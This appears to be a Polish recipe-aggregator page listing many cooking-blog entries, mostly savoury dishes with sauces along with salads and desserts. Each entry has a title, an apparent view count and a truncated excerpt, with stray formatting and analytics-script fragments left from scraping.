MAKARON Z BROKUŁEM I KURCZAKIEM W SOSIE ŚMIETANKOWYM 180

zgęstnieje. Doprawiamy według siebie solą i pieprzem,można wsypać jeszcze czosnek suszony. Makaron gotujemy trochę krócej niż jest napisane na opakowaniu i dobrze osączamy po ugotowaniu.Następnie przekładamy do sosu,mieszamy,dokładamy również ugotowany brokuł i mieszamy.Całość jeszcze dusimy ok.10 min.na małym ogniu. Po upływie tego czasu nasze danie jest gotowe,wykładamy na talerz i wcinamy.Ja dodatkowo dodałam jeszcze

Mała w garnku miesza
Sałatka śniadaniowa z tuńczykiem i fasolą czerwoną 211

wiecie co zabrać ze sobą do pracy? Zapraszam na pyszną sałatkę z tuńczykiem, fasolą czerwoną i serkiem wiejskim. Pychotka Składniki: 1 serek wiejski 2 jajka 1 puszka tuńczyka w sosie własnym 100g fasoli czerwonej z puszki 100g drobnego makaronu pół cebuli pęczek szczypiorku sól, pieprz Sposób przygotowania: Makaron gotujemy według przepisu na opakowaniu w lekko osolonej wodzie. Jajka gotujemy, studzimy

Cukiernia Pychotki
Pulpety z papryką w sosie pomidorowym 163

Pyszne, aromatyczne pulpeciki z papryką w sosie pomidorowym.  Przepis jest dziecinnie prosty i szybki, bo całość nam zajmie tylko 25 minut.  Do tego tylko makaron i pyszne, pożywne danie mamy gotowe. Składniki: 600 g mięsa mielonego 1/2 szklanki mleka 2 cebule 2 czerwone papryki 1 cukinia 1 puszka pomidorów 1 łyżka przecieru pomidorowego 4 ząbki czosnku

magiczna kuchnia Kasi
Pulpeciki w sosie pomidorowo śmietanowym ze szczypiorkiem 172

ogniu. Po tym czasie odlewamy szklankę wywaru do miseczki. Dodajemy koncentrat pomidorowy, mąkę oraz śmietanę. Dokładnie mieszamy i ponownie wlewamy do mięsa. Następnie gotujemy jeszcze przez kilka minut aż sos zgęstnieje. Podajemy z ziemniakami lub z chlebem

VioletoweKucharzenie
Prosty przepis na krewetki i instrukcja obsługi krewetek 225

czosnek. Smażymy kolejne 3-4 minuty. Na koniec doprawiamy solą i pieprzem. Można skropić sokiem z cytryny. Podajemy razem z grzankami, posypane natką pietruszki. Tak przygotowane krewetki, wraz z sosem, można wymieszać z ugotowanym makaronem i mamy gotowe danie obiadowe. Post Prosty przepis na krewetki i instrukcja obsługi krewetek pojawił się poraz pierwszy w LADY KITCHEN

ladykitchen
Rocher- czekoladowy sernik 356

cukru Polewa  60 ml śmietany kremówki 100 g gorzkiej czekolady. Zagrzać śmietanę  i włożyć do ni ej pokruszoną czekoladę. Odstawić na 5 minut, następnie wymieszać na gładki sos. Wykonanie  Nutelle zmiksować krótko z twarogiem, aby uzyskać gładką konsystencję. Następnie wymieszać z pozostałymi składnikami- nie miksujcie długo, tylko do połączenia. Tortownicę z podpieczonym spodem owinąć szczelnie folią

Piekarz-Kucharz-Garkotłuk
Gulasz sojowy z marchewką 234

Składniki (porcja dla 2 osób): kotlety sojowe 6 szt, marchew 2 szt, cebula 0,5 szt, czosnek 1 ząbek, bulion warzywny 2 szklanki, natka pietruszki posiekana 2 łyżki, sos sojowy 1 łyżka, liść laurowy 1 szt, ziele angielskie 3 ziarna, papryka słodka mielona 1 łyżeczka, kurkuma 1/4 łyżeczki, majeranek 0,5 łyżeczki, sól i pieprz do smaku, koncentrat pomidorowy

kulinarne odsłony pati
Focaccia z mięsem i serem 154

pieczywa – wywodzi się z włoch i każdy region włoch ma jej lekko zmodyfikowaną wersję. Myślę, że moja jest tą najbardziej podstawową, którą urozmaiciłam z wierzchu mięsem mielonym w sosie pomidorowym i obsypałam tartym serem żółtym. Gdy młodszy syn zapytał się co będzie... Więcej The post Focaccia z mięsem i serem appeared first on Magiczny Garnek

Magiczny Garnek
Wegański bigos, niekoniecznie świąteczny :) 168

szklanek wody 2 duże marchewki 1 duża cebula 4 ząbki czosnku 5 listków laurowych 3 ziarna owoca jałowca 1 łyżeczka ziela angielskiego mielonego 1 łyżka majeranku 4 łyżki sosu tamari (lub sojowego) 1 1/2 łyżeczka kminku mielonego 10 śliwek suszonych 1 garść rodzynek (lub kilka pokrojonych daktyli bez pestek) 2 łyżki brązowego cukru (mniej lub więcej z zależności od kwasowości

Lamarida.pl
Spaghetti z awokado i serem ricotta 137

blendera i zmiksujcie na gładki mus, przyprawcie solą i pieprzem do smaku. Makaron ugotujcie al dente w osolonej wodzie, odcedźcie. Do papryki na patelni dodajemy odcedzony makaron wraz z sosem z awokado, posypujemy łyżką parmezanu, mieszamy chwilę do połączenia składników i wykładamy szybko na talerze. Gotowe danie posypujemy resztą parmezanu i natką

Zasmakuj Kuchni
Kurczak z warzywami i kaszą gryczaną 195

kostkę pomidora oraz mrożoną fasolę, dodajemy kurczaka, dusimy lekko pod przykryciem, kaszę gotujemy wedle przepisu na opakowaniu – zwykle 15 minut, wykładamy ją na talerz, dodajemy mięsno – warzywny sos, posypujemy serem i natką. Smacznego

Zasmakuj Kuchni
Placki ziemniaczane z ugotowanych ziemniaków z parmezanem 154

nich placki obtoczone w bułce tartej z dodatkiem parmezanu i kilku przypraw. Jest to bardzo dobra przekąska w ciągu dnia – na ciepło lub na zimno, podana z różnymi sosami lub dipami albo zupełnie bez niczego, do popołudniowej herbaty. Wykonanie bardzo proste, a zawsze to coś innego niż klasyczny placek (jakże pyszny!) ziemniaczany. Składniki: 400 g ugotowanych w osolonej wodzie

Zasmakuj Kuchni
Tarta Tatin z cykorią i roquefortem 221

patelni rozgrzać masło, dodać miód, podsmażyć cykorię z obydwu stron , oprószyć solą i pieprzem, karmelizować około 10 minut. Formę do tarty wysmarować masłem, cykorię ułożyć w kształcie gwiazdy. Polać sosem z patelni. Ułożyć na nich po plastrze roqueforta, całość przykryć ciastem francuskim, lekko docisnąć przy krawędziach. Nakłuć ciasto. Piec w temperaturze 200 stopni około 20 minut. Po upieczeniu odczekać

Wino Francja Kuchnia
Placki ziemniaczane 175

wyłożony ręcznikami papierowymi. Placki są najlepsze, gdy są chrupiące - te świeżo usmażone. Możemy zajadać je bez dodatków, lub ze śmietaną, z cukrem czy jak kto woli z gulaszem czy sosem pieczarkowym

psgotujemy
Sałatka z tuńczykiem i ryżem Basmati 513

przygotowaniu. W sam raz na spontaniczne spotkanie w gronie znajomych. Składniki na sałatkę z tuńczykiem i ryżem Basmati (około 6-7 porcji): torebka ryżu Basmati puszka tuńczyka w sosie własnym 1/2 puszki kukurydzy 3 jajka 2 cebulki dymki 2 duże ogórki kiszone majonez sól pieprz Ugotować ryż w osolonej wodzie, a także jajka na twardo. Odcedzić i poczekać chwilę

Karola gotuje
Polędwiczki wieprzowe sous vide 346

blender-żyrafę i w miarę wysoki garnek.  Wtedy możemy się rozkoszować pysznymi daniami, które zachowają wszystkie swoje smaki, ponieważ będą  się  gotować w tak zwanym własnym sosie . Dziś zapraszam Was na pyszne polędwiczki wieprzowe. Wiadomo, że jest bardzo łatwo je przesuszyć, ponieważ to bardzo delikatne mięso. Metoda sous-vide zachowa je wilgotne i bardzo soczyste, potem wystarczy

Kulinarne przygody Gatity
Bezglutenowe dyniowe naleśniki z korzennymi gruszkami w różanym kompocie! 194

ZDROWA JESIEŃ NA TALERZU! To na pewno nie gęste sosy ze śmietaną, ciasta z galaretkami, drożdżówki z cukrem, ani dania z makaronem. Zdrowie nie ma nic wspólnego z wysoka podażą węglowodanów i tłuszczy. Podstawa to dobrze zbilansowana dieta, dobór składników, które wzmocnią nasz układ odporności, jedzenie w tym okresie musi nam dostarczać nie tylko odpowiedniej dawki energii, ale też powinno

SMYKWKUCHNI
Obiad w 15 minut: kurczak z suszonym pomidorem, chili, orzechami pekan i natką pietruszki w sosie śmietanowo - kurkumowym 264

Pyszny obiad w 15 minut, można? Oczywiście, że można :-) Taki szybki obiadek wymyśliliśmy sobie wczoraj :-) Pyszny kurczak w sosie śmietanowo - kurkumowym z suszonymi pomidorami, chili, orzechami pekan i natką pietruszki. Do tego u mnie jako dodatek razowy kuskus i rukola, oraz pomidorki koktajlowe :-) Miłego poniedziałku Wam życzę :-) Składniki: 2 filety z kurczaka z wolnego wybiegu kilka suszonych pomidorów  papryczka

kruche babeczki
Zapiekanka z cukinią i brokułem 215

układamy kawałki mozzarelli. 6. Tak przygotowaną zapiekankę wstawiamy do nagrzanego do 200 stopni piekarnika na 20 minut. SMACZNEGO! :) Jeśli lubicie brokuły, spróbujcie również  makaronu z brokułami w serowym sosie

Bez Cebuli
PUREE Z DYNI 255

puree z dyni najbardziej moim zdaniem nadaje się dynia Hokkaido, chociaż inne gatunki dyń jadalnych również z powodzeniem wchodzą w grę. Moje puree z dyni wykorzystuję do ciasta, do sosów, zup, past do chleba a nawet […] Artykuł PUREE Z DYNI pochodzi z serwisu Gotowanie

Gotowanie-uk
Fish and chips, czyli smażona ryba z domowymi frytkami 184

rozgrzanym oleju do zarumienienia przez około 5 minut z każdej strony. Odsączamy z nadmiaru tłuszczu na ręczniku papierowym.  3. Na talerz przekładamy frytki i rybę. Podajemy z sosem. Rybę skrapiamy cytryną

Szefowa kuchni
Lody z pieczonych truskawek balsamico 182

Lody domowe, przepyszne, mocno truskawkowe. użyłam mrożonych truskawek które upiekłam dzięki czemu lody są jeszcze lepsze, dodałam sos balsamico i wyszły obłędne. Bez konserwantów, polepszaczy, sama natura. Nawet zimową porą można cieszyć się ich smakiem. 80 dkg truskawek użyłam mrożone 3 łyżki cukru trzcinowego 3 łyżki glassy balsamicko 500 ml śmietany kremówki 30 % 1 łyżka soku z cytryny Truskawki układam

wesoła kuchnia
PULLED PORK W SOSIE POMIDOROWYM Z FASOLĄ 163

sumie 1380g) 1 puszka pokrojonych pomidorów 1 puszka czerwonej fasoli 1 puszka czarnej fasoli woda do wypłukania butelek dodatki tj kukurydza, ser żółty, kolendra do [...] Artykuł PULLED PORK W SOSIE POMIDOROWYM Z FASOLĄ pochodzi z serwisu sandrafrej.com

SandraFrej.com
Łopatka duszona z pieczarkami 152

Dziś na blogu przepis na łopatkę wieprzową duszoną w sosie własnym  z brązowymi  pieczarkami . Mięso wyszło miękkie, soczyste i bardzo  aromatyczne. Całość podałam z kaszą i  surówka z  kapusty .  Ale to było pyszne, polecam.   Składniki: 1 kg łopatki wieprzowej 500 g brązowych pieczarek 3 cebule 3 ząbki czosnku mąka do oprószenia smalec/olej

magiczna kuchnia Kasi
Karkówka pachnąca świętami 209

Wczoraj zamieściłam wpis dotyczący sosu żurawinowego, doskonałego do mięsa wszelakiego. Dziś więc wypada, by dodać przepis na mięso. Będzie to mięso pieczone, uprzednio dwa dni marynowane i tak zapaszyste i wpisujące się w święta, że trzeba je zrobić ☺ . Przepis znalazłam na blogu "Kulinarne rozkosze podniebienia" i żeby nie było tak samo dokonałam trochę zmian. Potrzebujemy: Czytaj więcej

Tylko pysznie
Dufinki z mięsem 2798

moim blogu przepis na pyszne dufinki z mięsem. Dufinki są łatwe i szybkie do przygotowania. Możemy je zrobić z ziemniaków, które zostały nam z obiadu. Podajemy je z ulubionym sosem. SKŁADNIKI: Ciasto: ½ kg ziemniaków, 1,5 szklanki mąki. 1 jajko, sól, Farsz: 300 g mięsa mielonego wieprzowego, 1 cebula, sól, pieprz, oliwa, Dodatkowo: olej do smażenia. PRZYGOTOWANIE: 1. Farsz: Cebulę

Tradycyjna kuchnia Kasi
obiad bezmięsny w jesiennym kolorze z wolnowaru 207

Natomiast ryby w wolnowarze zachowują zwartą konsystencję. W wolnowarach doskonale udają się wywary, które są bardziej aromatyczne i skondensowane w smaku niż te gotowane metodami tradycyjnymi, rosoły, zupy oraz sosy, a także powidła i dżemy. Zalety Pozwala zachować więcej składników odżywczych. Pozwala wykorzystać tanie części mięsa dzięki długiemu gotowaniu. W wolnowarze praktycznie nie da się przypalić potraw. Wygodny w użyciu

w mojej kuchni
Udka kurczęce pieczone z warzywami 133

skóry, dopraw porządnie przyprawami; w naczyniu żaroodpornym ułóżcie ziemniaki, wymieszajcie je z pozostałymi warzywami i ułóżcie miedzy nimi udka, na wierzch dajcie gdzieniegdzie po łyżeczce masła klarowanego oraz cały sos z patelni, na której smażyły się udka, posypcie całość majerankiem; pieczcie w temp. 180C bez termoobiegu na środowej półce piekarnika grzanie góra-dół przez około 45 minut co jakiś czas

Zasmakuj Kuchni
Jajka faszerowane musem z pieczarek z dodatkiem granatu 182

jest bardzo dużo, a każda pyszna i kusząca. Moja wersja, oprócz podstawowej którą uwielbiam i robię od święta (jak mi się kojarzy w rodzinnym domu) jest z pieczarkami w sosie majonezowym z cebulką i lubczykiem posypane pesteczkami granatu. Myślę, że mojej Babci smakowałaby ta wersja Możecie je jeść w takiej wersji lub lekko odgrzać w piekarniku lub obtoczyć w jajku

Zasmakuj Kuchni
Tuńczyk z pomidorami 155

czosnku. Podlałem białym winem, dodałem koncentrat pomidorowy, dusiłem 15 minut. Tuńczyka skropiłem oliwą, posypałem przyprawami. Odstawiłem na 15 minut. Dodałem tuńczyka do rondla, dusiłem całość ok. 15 minut, aż sos zgęstniał. Podałem z bagietką

R'n'G Kitchen
Pieczone bataty faszerowane chorizo 267

przyprawiony i nieco pikantny farsz wspaniale komponuje się z delikatnymi i lekko słodkimi batatami. Danie jest tak smaczne i sycące, że nie potrzeba do niego nic więcej, żadnych dodatków, sosów, czy innych ulepszaczy. Gorąco polecam! Pieczonego batata przygotowałyśmy w ramach wspólnego gotowania wraz z Mopsikiem , Pati  i Mirabelką . Koniecznie zajrzyjcie do dziewczyn, aby zobaczyć ich pomysły na pieczone

Codzienne Gotowanie
sałatka z kukurydzą i tuńczykiem 206

zdaniem najprostsza i najmniej pracochłonna sałatka jaką znam. Mimo tego właśnie ona jest moja ulubioną. Zapraszam do jej wypróbowania. 2 puszki kukurydzy ( ja używam bonduelle) puszka tuńczyka w sosie własnym ogórki konserwowe ( ilość w zależności od ich wielkości ) ok 6 majonez wedle uznania sól pieprz Odcedzić kukurydzę i tuńczyka. Wrzucić do miski. Ogórki pokroić w kostkę i dodać

cukrem pudrem posypane
Sałatka z selerem naciowym i tuńczykiem 222

font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Składniki: 2 puszki tuńczyka (w oleju i w sosie własnym) puszka kukurydzy seler naciowy 4 ogórki kiszone cebula 4-5 łyżek majonezu sól, pieprz Selera naciowego umyć, pokroić na niewielkie paseczki, przełożyć do sitka, przelać wrzątkiem, wystudzić. Ogórki

kulinarnyswiatdomi
Sałatka makaronowa z tuńczykiem 690

Szybka i smaczna sałatka makaronowa z tuńczykiem idealna do pracy  Składniki: 2 puszki tuńczyka w kawałkach w sosie własnym 1 mały majonez 200 - 250 g makaronu świderki 1 puszka czerwonej fasoli Jamar 1 puszka kukurydzy 1 średnia cebula sól, pieprz Wykonanie: Makaron gotujemy według przepisu na opakowaniu. Studzimy. Odsączamy i dodajemy do makaronu rozdrobiony widelcem tuńczyk, pokrojoną cebulę, odsączoną

W Moim Magicznym Domu
Pomidorowe risotto 167

dodajemy kolejne pół szklanki wina i łyżkę suszonej bazylii, czynność tą powtarzamy dwa kolejne razy.Następnie dodajemy 1/2 puszki pomidorów, rozgniatamy je za pomocą łyżki, gotujemy do momentu aż sos zacznie gęstnieć, czynność tą powtarzamy. Ryż powinien być twardy na zewnątrz a miękki w środku, jeżeli jest zbyt twardy dolewamy trochę wody. Na koniec dodajemy parmezan i całość dokładnie mieszamy

Delusional Trine
Wege fasolka po bretońsku z fasolką azuki 274

kurkumy, majeranek. Gotujemy na malutkim ogniu około 30 minut. Po tym czasie oceniamy czy dodajemy sól, ja dodałam tylko czarny pieprz. Odlewamy wodę z ugotowanej fasoli, dodajemy do sosu pomidorowego. Gotujemy około 15 minut na małym ogniu, po przykryciem. Nakładamy na talerze i po przestudzeniu polewamy olejem lnianym

Szkrab Je Sam
Zawijaski z szynką 300

Składniki: 1 tortilla 30 cm Fanex 2 łyżki serka kanapkowego śmietankowego 3 łyżki kukurydzy z puszki 3-5 plasterków szynki garść posiekanej pekinki kawałek pora sos czosnkowy Fanex Przygotowanie: Na tortilli … Czytaj dalej Zawijaski z szynką

czarrna od kuchni
Śledzie marynowane z imbirem 263

edycji programu „MasterChef”. Po zakończaniu warsztatów każdy z uczestników otrzymał receptury na świąteczne potrawy m.in. sernik chałwowy (który niebawem przygotuję i nie omieszkam pochwalić się nim na blogu), pyszny sos żurawinowy, świąteczne pierogi nadziewane kaczką i absolutnie genialny mus z wątróbki z konfiturą cebulową (też pojawi się wkrótce na blogu) Poniżej oryginalny przepis na świąteczne ś ledzie marynowane z imbirem

Kulinaria - potrawy z różnych stron świata
Placuszki bananowe i recenzja "Trufla, same dobre rzeczy" Patrycji Doleckiej 240

przez wszystkich propozycje na owsianki, naleśniki, omlety, placuszki czy pasty do kanapek) - obiady i kolacje (ciepłe propozycje na zupy - od kartoflanki do tajskiej, makarony, dania główne, ale też dodatki - sosy, puree czy surówki) - desery (ciasta, puddingi, solony kajmak i oczywiście kilka rodzajów trufli :)) - napoje i przetwory (koktajle, smoothie, kompoty, powidła). Przepisy przedstawione przez Patrycję są proste, a zarazem pomysłowe.Mnie

Moje Kuchenne Rewelacje
Śledzie z pestkami granatu w oleju lnianym 188

dalej i tak dalej… Śledziowe eksperymentowanie mam po niej, bo dziś serwuję swoim gościom nawet śledzie z miodem, z suszonymi owocami, marynowanymi warzywami w różnych ostro-słodko-kwaśnych sosach i salsach. Nic mnie już chyba nie zdziwi w temacie śledzi Dziś śledzie w oleju lnianym z czerwoną cebulą i chili z dodatkiem chrupiących i świeżych pestek granatu, z pięknie

Zasmakuj Kuchni
Frytki pieczone 158

frytki były obtoczone przyprawami z każdej strony. Piekarnik rozgrzewamy. Blaszkę z frytkami wsadzamy do piekarnika i pieczemy w 200 stopniach aż frytki będą rumiane i miękkie. Podajemy z ulubionym sosem lub jako dodatek do dania głównego

kulinarne odsłony pati
Wytrawny naleśnik z pieczonym kurczakiem i cukinią 198

przez praskę. Przyprawiamy solą i pieprzem. Farsz wykładamy na naleśniki. Posypujemy startym serem. Do jogurtu dodajemy pozostały, przeciśnięty przez praskę czosnek i ketchup oraz doprawiamy solą i pieprzem. Przygotowanym sosem smarujemy wierzch naleśnika i dekorujemy posiekanym szczypiorkiem. SMACZNEGO. Wartość kaloryczna 1 porcji : ok. 270 kcal (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject

Smaki Ewy
Chrupiące pałki z kurczaka – bez tłuszczu, z piekarnika 335

poziom do już rozgrzanego piekarnika i pieczemy pałki przez 50-60 minut. Na ostatnie 5 minut warto włączyć dodatkowo termoobieg. Podajemy od razu po upieczeniu – z surówką, frytkami, ulubionym sosem – zimny kurczak przestaje chrupać. SKŁADNIKI 800-900g pałek z kurczaka 1 pełna łyżka mieszanki ziół włoskich 1,5 łyżki suszonej mielonej cebuli 1,5 łyżki suszonego mielonego czosnku

Karo in the Kitchen
Imprezowe parówki w cieście 191

brzegów. Naczynie nie może mieć średnicy większej niż 24 cm.  Parówki wstawiamy do piekarnika nagrzanego do 180 stopni i pieczemy je około 25-30 minut. Podajemy z ulubionym sosem. Wioleta Gargula

MamaOskarka
Zapiekanka Chicken Tetrazzini oraz kilka słów o dobrej patelnii. 260

przez kilka minut, aż zmiękną.  Za pomocą rózgi połączyć mleko i mąkę, wlać na patelnię, doprawić do smaku solą, pieprzem oraz przyprawą do kurczaka (dodać jej tyle, by sos był pikantny). Mieszając, doprowadzić do wrzenia. Wyłączyć.  Wrzucić na patelnie pokrojoną w kostkę mozzarellę, kurczaka oraz spaghetti. Połączyć. Wierzch posypać tartym żółtym serem. Zapiekankę wstawić do piekarnika (odpiąć rączkę

Poezja Smaków - blog kulinarny
Pierożki Drożdżowe Z Jarmużem I Fetą 211

pierożki w tym czasie jeszcze sobie podrosną ) Piekarnik nagrzewamy do 180 stopni. Przed samym pieczeniem, smarujemy je białkiem.  Pieczemy przez około 25-30 minut do zrumienienia. Podajemy z sosami na bazie jogurtu np. czosnkowym. Smacznego

Gotowanie...to proste !
Łosoś marynowany w soli po kaszubsku. 222

prostu bomba! Z powodu ciemności nadciągających o tej porze roku w nieprzyzwoicie wczesnej porze, udało mi się zrobić jedynie zdjęcie przed pokrojeniem i dodaniem składników sałatkowych (m.in. słodkiego sosu koperkowego). Zaraz potem całość zniknęła... Składniki: 300 g świeżego fileta z łososia 5 łyżek soli 5 łyżek cukru 1 szklanka świeżej żurawiny (ewentualnie suszonej) 1 cebula Wykonanie: Rybę opłukać i dokładnie

zadanie-gotowanie
Naleśniki z mięsem, warzywami i fasolą 245

Pysznie nadziane naleśniki. W skład farszu wchodzi mięso mielone, papryka, cebula, marchewka oraz mieszanka fasoli z cieciorką. Jako dodatek polecam sos czosnkowy lub pomidorowy. składniki: ciasto naleśnikowe 2 szklanki mleka 1 szklanka wody, może być gazowana 2 jajka ok 3 szklanek mąki 2 łyżki oleju duża szczypta soli farsz 600 g kakrówki 1 czerwona cebula 1 średnia czerwona papryka

Monia miesza i gotuje
Królik duszony w winie z rodzynkami 216

obłędnie! Przyjemnie słodko, a przy tym lekko, mięso jest kruche, delikatne. Na tym nie koniec eksperymentów:) Jeśli chcecie podać takie danie na świąteczny obiad, polecam podczas duszenia dorzucić do sosu kilka goździków i kawałek cynamonu - teraz mamy prawdziwą kwintesencję smaku! Składniki: 1 tuszka królika (ok 1,2kg) 100g rodzynków (u mnie Bakalland ) 4-5 moreli (u mnie Bakalland

Obiad gotowy
Gołąbki z kiszoną kapustą i grzybami 216

żeby gołąbki nie wypływały i gotujemy na małym ogniu ok. 40-50 minut, zależne od miękkości kapusty. 4. Gołąbki można podawać podpiekane na patelni, solo z wody lub z sosem grzybowym. Kapusty nie kroiłam na drobno i kapelusze grzybów tez zostawiłam w całości tak jak je suszyłam. Przepis na tradycyjne gołąbki znajdziecie  TUTAJ - KLIK

Apetyczna babeczka
Szarlotka w słoiku.Deser jabłkowy bez pieczenia. 297

pianę, a następnie cały czas miksując dodawać partiami serek mascarpone i cynamon. 6) Na dno każdego słoiczka/szklanki pokruszyć po trzy herbatniki. Na herbatniki nałożyć karmelizowane jabłka razem ze sosem. 7) Całość udekorować za pomocą szprycy cukierniczej kremem z bitej śmietany oraz mascarpone i posypać prażonymi płatkami migdałów. 8) Deser podawać na ciepło od razu po przygotowaniu lub schłodzić

Fitsweet.me
Pieczone jabłka,herbatniki i miód 151

masła) zamknąć odciętym kapelusikiem.   Umieścić w naczyniu żaroodpornym (jeśli bez masła) z odrobiną wody i piec 30 do 35 minut. Podawać jeszcze gorące!   Opcjonalnie polać sosem malinowym

w mojej kuchni
Marchewka pieczona do obiadu – z masłem, czosnkiem, pomarańczą i Srirachą 245

pomarańczy sprawiają, że marchewka zostaje gwiazdą talerza. Ja potrafię zjeść ją samą – jako cały obiad albo nawet deser – rozpływa się w ustach: słodka, owocowa i lekko podkreślona ostrym sosem chili.   Pomarańczę trzeba najpierw koniecznie umyć dokładnie w zimnej wodzie — owoce w naszym klimacie są utrwalane przez opryskiwanie specjalnym woskiem, który zapobiega utracie wilgoci podczas ich transportu i przechowywania. Woda

Karo in the Kitchen
GULASZ MEKSYKAŃSKI Z BIAŁĄ FASOLĄ 166

paprykę, pokrojoną drobną papryczkę chilli, zalewamy przecierem, doprawiamy przyprawami oraz dodajemy czosnek. Dusimy 10 minut, a następnie dodajemy osączoną fasolę i kukurydzę. Gotujemy chwilkę aż składniki się połączą. Gdyby sos wyszedł za rzadki zagęszczamy go 1 łyżką wody rozrobionej w 1/4 szkl. wody. Gulasz podajemy w towarzystwie kaszy

słodki bratek
Pieczone ziemniaki harmonijkowe 169

wierzchem odrobiną tłuszczu, posypujemy szczyptą soli oraz pieprzu i wstawiamy do nagrzanego do 220 stopni piekarnika na ok. 50-60 minut. 3. Upieczone ziemniaki podajemy ze smakowymi dipami lub sosami. Ja swoje podałam z  buraczanym pesto i tartym parmezanem. SMACZNEGO

Bez Cebuli
Fasolka po bretońsku 349

Miska gorącej fasoli w gęstym pomidorowym sosie ze sporym dodatkiem wędzonej kiełbasy i aromatycznych przypraw to idealne danie, kiedy pogoda nie zachęca do wychodzenia z domu. To taki comfort food, po którym robi się cieplej na ciele i duszy. Takie treściwe, rozgrzewające potrawy jednogarnkowe najlepiej smakują jesienią i zimą. Bo doskonale rozgrzewają, zaspokajają głód i dodają energii. F asolka

Smakowity Blog Kulinarny
Sałatka ziemniaczana 5 grzybków 222

Ziemniaki i grzyby to zawsze dobre połączenie. Sprawdza się w wielu potrawach. Zupę grzybową lubię najbardziej właśnie z ziemniakami, a wszyscy przecież wiedzą, że sos grzybowy idealnie pasuje do kopytek, placków ziemniaczanych lub po prostu do świeżo ugotowanych ziemniaków. Taką sałatkę z ziemniaków i grzybków marynowanych możecie przygotować na jakąś imprezę, ale dobrze też sprawdzi się na świątecznym stole. Chciałabym

Smaczna Pyza
Zapiekanka ziemniaczana z mięsem i grzybami / Meat and mushroom potato bake 271

wino, wymieszaj i gotuj aż jego połowa odparuje, po czym posyp całość mąką, dokładnie wymieszaj i smaż przez 2 minuty. Dodaj bulion i gotuj aż płyn zgęstnieje do konsystencji sosu. Dopraw solą i pieprzem jeżeli to konieczne. Przełóż mięso do średniej wielkości natłuszczonego naczynia do zapiekania i posyp startym serem. W małej misce wymieszaj mleko i masło. Ułóż ziemniaki

karmelowy
Pieczone bataty z parmezanem, łososiem i aioli 247

piekarnika na 250ºC, u mnie na funkcji grilla i piecz przez 20 minut. Zmiksuj aioli według przepisu powyżej. Dopraw aioli łyżką ostrej musztardy. Podaj łososia na sałacie z sosem, groszkiem i pieczonymi batatami. The post Pieczone bataty z parmezanem, łososiem i aioli appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Sałatka z kurczakiem i brie 206

sałaty, pomidorki koktajlowe kroimy na połowę, a większe w dużą kostkę, serek brie kroimy w paski, dodajemy do sałatki, następnie dodajemy  upieczonego i pokrojonego kurczaka, składniki polać sosem winegret, przed podaniem wymieszać, posypać prażonym słonecznikiem

Kuchnia Beaty
Full English breakfast, czyli mocarne angielskie śniadanie 167

lepszego sposobu na to, aby zacząć dzień pełen wyzwań. Oryginalne full English breakfast musi się składać z jajek sadzonych (lub jajecznicy), plastrów bekonu, parówek lub kiełbasek, fasolki w sosie pomidorowym, pomidorów, pieczarek, black pudding (kaszanki) i niekiedy hash browns (placków ziemniaczanych). Dwie ostanie pozycje mnie niespecjalnie kuszą, więc celowo je pominąłem. Często podaje się do niego również chleb tostowy

Food Square
Piernik dla zapracowanych 189

masła 100 g czekolady (może być mleczna lub gorzka) Masło rozpuścić, zdjąć z palinka wsypać pokruszoną czekoladę i odstawić na kilka minut.  Następnie wymieszać na jednolity sos czekoladowy Wykonanie W garnku roztopić masło, dodać miód, cukier, melasę, powidła śliwkowe, przyprawę korzenną, cynamon i przesiane kakao. Wymieszać. Podgrzewać cały czas mieszając aż cukier się rozpuści. Zdjąć z ognia i odczekać

Piekarz-Kucharz-Garkotłuk
Churros na Tłusty Czwartek 146

Chrupiące na zewnątrz, z miękkim środkiem, maczane w sosie karmelowym – moje pierwsze churros na Tłusty Czwartek. Przysmak hiszpański, który fantastycznie smakuje na ciepło, posypany cukrem pudrem. Pączki u nas obowiązkowo pojawiają się na Tłusty Czwartek, ale chciałam również spróbować czegoś innego. Inspirowałam się przepisem z blogu Call me cupcakes. Składniki 100 […] Artykuł Churros na Tłusty Czwartek pochodzi

Pink Envelope
Kartoflanka z pieczarkami 154

słodką papryką, lubczykiem i majerankiem – dodaję dużo słodkiej papryki i ziół, dzięki czemu zupa jest bardzo aromatyczna; duszę do miękkości; następnie dodaję pieczarki i cebulę wraz z powstałym sosem do zupy, przyprawiam w razie czego jeszcze do smaku; na koniec dodaję śmietanę wymieszaną z musztardą, przyprawiam solą i pieprzem i koperkiem. Smacznego

Zasmakuj Kuchni
Kacze udka 178

przyprawy, odstawiamy na noc. Następnego dnia pieczemy w temp. 160C przez około 2 godziny na środkowej półce bez termoobiegu grzaniem góra plus dół, co 15 minut podlewając udka sosem z oleju i własnego tłuszczu. Dzięki temu będą soczyste i aromatyczne. Na początku pieczemy około 30 minut pod przykryciem, następnie zdejmujemy pokrywkę i pieczemy do końca bez przykrycia do miękkości mięsa

Zasmakuj Kuchni
Makaron z mięsem mielonym i pieczarkami 184

mieszając doprowadzić do delikatnego obsmażenia. Całość posypać przyprawami i następnie wlać wodę/bulion. Po zredukowaniu się płynu dolać śmietankę i wmieszać koncentrat pomidorowy. Wszystko razem dusić do momentu zgęstnienia sosu. W międzyczasie ugotować makaron (al dente, według przepisu z opakowania). Gotowy makaron odcedzić i wymieszać z doprawioną zawartością patelni. Podawać bezpośrednio po przygotowaniu.   Makaron podałam na talerzyku z Galerii

Di gotuje
Pełnoziarniste ciasto na pizzę 165

podwoi swoją objętość. Ugniatamy ciasto w rękach, wyrabiamy, aż stanie się gładkie, na blacie oprószonym mąką. Czas pieczenia to 15 minut, 180 - 200 st C. Ciasto pieczemy, po nałożeniu sosu pomidorowego i dodatków, na posmarowanej oliwą blasze do pizzy

Moja smaczna kuchnia
Owoce morza w curry 193

złoty kolor. Ser hallumi się nie rozlewa tylko zmięknie w środku. Na półmisek wyłożyć sałatę obłożyć obsmażonymi krewetkami i obłożyć usmażonym serem. Podawać w miseczkach i polać wytworzonym pysznym sosem. Serwować z bułeczką

Kuchnia Pokoleń
Przepis na Krewetki ze bananowom zołzom (Krewetki w sosie bananowym) 204

wziąłem 15 wytrzeć chlebem 16 szczyptę 17 pokrojonej 18 dorzućcie 19 zalejcie 20 wrzućcie 21 pogotuje 22 później 23 gorącej 24 zwarzyła Artykuł Krewetki ze bananowōm zōłzōm (Krewetki w sosie bananowym) pochodzi z serwisu Chop w kuchni

Chop w kuchni
schab zapiekany w kapuście kiszonej 1039

